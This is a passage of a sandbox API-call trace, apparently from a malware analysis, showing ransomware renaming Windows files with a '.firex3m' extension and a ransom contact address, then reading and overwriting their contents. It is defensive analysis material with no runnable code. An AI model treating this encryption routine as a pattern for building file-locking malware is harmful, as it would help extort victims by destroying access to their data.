dwReserved1=0x6a3be8, cFileName="Rotate6.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROTATE~2.FIR")) returned 0x6d5500 [0093.851] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0093.851] Sleep (dwMilliseconds=0x1) [0093.859] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico", len=0x2a | out: pbstr=0x64bff7c*="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico") returned 1 [0093.859] GetProcessHeap () returned 0x630000 [0093.859] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ef4c8, Size=0x48) returned 0x678d40 [0093.859] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.859] CloseHandle (hObject=0x688) returned 1 [0093.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.860] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.860] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROTATE~4.FIR")) returned 0x6d4e40 [0093.860] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0093.860] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate5.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.861] GetProcessHeap () returned 0x630000 [0093.861] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6a3bf0 [0093.861] GetProcessHeap () returned 0x630000 [0093.861] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6672f8 [0093.861] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.861] ReadFile (in: hFile=0x688, lpBuffer=0x6a3bf0, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a3bf0*, lpNumberOfBytesRead=0x64bff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.866] GetProcessHeap () returned 0x630000 [0093.866] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0093.866] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.866] WriteFile (in: hFile=0x688, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x64bff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.867] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.867] WriteFile (in: hFile=0x688, lpBuffer=0x667657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x667657*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.867] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.867] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.867] CloseHandle (hObject=0x688) returned 1 [0093.868] GetProcessHeap () returned 0x630000 [0093.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.868] GetProcessHeap () returned 0x630000 [0093.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a3bf0 | out: hHeap=0x630000) returned 1 [0093.868] GetProcessHeap () returned 0x630000 [0093.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0093.868] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.868] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate5.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfde4e865, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0x9647496, dwReserved1=0x6a3be8, cFileName="Rotate5.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ROTATE~4.FIR")) returned 0x6d5340 [0093.868] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0093.869] Sleep (dwMilliseconds=0x1) [0095.965] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Boot\\BCD.LOG2", len=0x10 | out: pbstr=0x64bff7c*="C:\\Boot\\BCD.LOG2") returned 1 [0095.965] GetProcessHeap () returned 0x630000 [0095.965] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c728, Size=0x2c) returned 0x66c1e8 [0095.965] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x684 [0098.387] CloseHandle (hObject=0x684) returned 1 [0098.387] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0098.388] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), lpNewFileName="C:\\Boot\\BCD.LOG2.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\boot\\bcd.log2.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0101.617] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.617] FindFirstFileW (in: lpFileName="C:\\Boot\\BCD.LOG2.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BCDLOG~1.FIR")) returned 0x6d5540 [0101.618] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0101.618] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef0c, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m3m") returned 48 [0101.618] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG2.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\boot\\bcd.log2.id-1998248312_[contact-support@elude.in].firex3m"), lpNewFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2")) returned 1 [0101.618] Sleep (dwMilliseconds=0x1) [0101.621] Sleep (dwMilliseconds=0x1) [0101.684] Sleep (dwMilliseconds=0x1) [0101.699] Sleep (dwMilliseconds=0x1) [0101.715] Sleep (dwMilliseconds=0x1) [0101.794] Sleep (dwMilliseconds=0x1) [0101.809] Sleep (dwMilliseconds=0x1) [0101.824] Sleep (dwMilliseconds=0x1) [0101.841] Sleep (dwMilliseconds=0x1) [0101.855] Sleep (dwMilliseconds=0x1) [0101.871] Sleep (dwMilliseconds=0x1) [0101.886] Sleep (dwMilliseconds=0x1) [0101.903] Sleep (dwMilliseconds=0x1) [0101.918] Sleep (dwMilliseconds=0x1) [0102.319] Sleep (dwMilliseconds=0x1) [0102.523] Sleep (dwMilliseconds=0x1) [0102.775] Sleep (dwMilliseconds=0x1) [0102.987] Sleep (dwMilliseconds=0x1) [0103.134] Sleep (dwMilliseconds=0x1) [0103.270] Sleep (dwMilliseconds=0x1) [0103.546] Sleep (dwMilliseconds=0x1) [0105.074] Sleep (dwMilliseconds=0x1) [0107.376] Sleep (dwMilliseconds=0x1) [0109.657] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml", len=0x52 | out: pbstr=0x64bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 1 [0109.657] GetProcessHeap () returned 0x630000 [0109.657] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ed6310, Size=0x2c) returned 0x6ed6038 [0109.682] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0109.683] CloseHandle (hObject=0x6d8) returned 1 [0109.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0109.683] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0109.684] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.684] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x3f141b52, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x12ae, dwReserved0=0x2001517, dwReserved1=0x650072, cFileName="OfficeUpdateSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d5000 [0109.684] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0109.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0109.684] GetProcessHeap () returned 0x630000 [0109.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12c1) returned 0x67d198 [0109.684] GetProcessHeap () returned 0x630000 [0109.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x12c1) returned 0x72d3518 [0109.684] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.685] ReadFile (in: hFile=0x6d8, lpBuffer=0x67d198, nNumberOfBytesToRead=0x12a0, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x67d198*, lpNumberOfBytesRead=0x64bff0c*=0x12a0, lpOverlapped=0x0) returned 1 [0109.704] GetProcessHeap () returned 0x630000 [0109.704] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0109.704] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.704] WriteFile (in: hFile=0x6d8, lpBuffer=0x72d3518*, nNumberOfBytesToWrite=0x12a0, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d3518*, lpNumberOfBytesWritten=0x64bff0c*=0x12a0, lpOverlapped=0x0) returned 1 [0109.705] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.705] WriteFile (in: hFile=0x6d8, lpBuffer=0x72d47b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72d47b7*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0109.705] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.705] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0109.705] CloseHandle (hObject=0x6d8) returned 1 [0109.706] GetProcessHeap () returned 0x630000 [0109.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72d3518 | out: hHeap=0x630000) returned 1 [0109.706] GetProcessHeap () returned 0x630000 [0109.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x67d198 | out: hHeap=0x630000) returned 1 [0109.706] GetProcessHeap () returned 0x630000 [0109.706] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0109.706] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80d542e1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80d542e1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x756abfb, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x12d2, dwReserved0=0x9647496, dwReserved1=0x67d190, cFileName="OfficeUpdateSchedule.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="OFFICE~1.FIR")) returned 0x6d51c0 [0109.707] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0109.708] Sleep (dwMilliseconds=0x1) [0109.731] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe", len=0x4e | out: pbstr=0x64bff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe") returned 1 [0109.731] GetProcessHeap () returned 0x630000 [0109.731] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e8fe0, Size=0x1c) returned 0x6e90d0 [0109.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0109.762] CloseHandle (hObject=0x718) returned 1 [0109.762] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0109.762] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0109.763] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0109.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xbe3eab00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x10ae80, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INTEGR~1.FIR")) returned 0x6d4f00 [0109.763] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0109.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\integratedoffice.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x718 [0109.763] GetProcessHeap () returned 0x630000 [0109.763] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x73005d8 [0109.764] GetProcessHeap () returned 0x630000 [0109.764] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x730ba08 [0109.765] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.765] ReadFile (in: hFile=0x718, lpBuffer=0x73005d8, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0114.519] GetProcessHeap () returned 0x630000 [0114.519] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fedf68 [0114.519] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.519] WriteFile (in: hFile=0x718, lpBuffer=0x730ba08*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x730ba08*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0114.519] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.520] WriteFile (in: hFile=0x718, lpBuffer=0x7316e07*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7316e07*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0114.522] SetFilePointerEx (in: hFile=0x718, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.523] WriteFile (in: hFile=0x718, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0114.523] CloseHandle (hObject=0x718) returned 1 [0114.551] GetProcessHeap () returned 0x630000 [0114.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x730ba08 | out: hHeap=0x630000) returned 1 [0114.551] GetProcessHeap () returned 0x630000 [0114.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0114.552] GetProcessHeap () returned 0x630000 [0114.552] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fedf68 | out: hHeap=0x630000) returned 1 [0114.552] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0114.552] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b64383, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80b64383, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xa39d405, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x10aea4, dwReserved0=0x9647496, dwReserved1=0x73005d0, cFileName="IntegratedOffice.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="INTEGR~1.FIR")) returned 0x6d5240 [0114.552] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.553] Sleep (dwMilliseconds=0x1) [0114.921] Sleep (dwMilliseconds=0x1) [0115.211] Sleep (dwMilliseconds=0x1) [0115.505] Sleep (dwMilliseconds=0x1) [0115.904] Sleep (dwMilliseconds=0x1) [0116.376] Sleep (dwMilliseconds=0x1) [0116.403] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe", len=0x30 | out: pbstr=0x64bff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe") returned 1 [0116.403] GetProcessHeap () returned 0x630000 [0116.403] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9030, Size=0x1c) returned 0x6e8fe0 [0116.403] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f8 [0116.403] CloseHandle (hObject=0x6f8) returned 1 [0116.403] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0116.404] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaw.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0116.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0116.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\javaw.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa747934d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa747934d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa747934d, 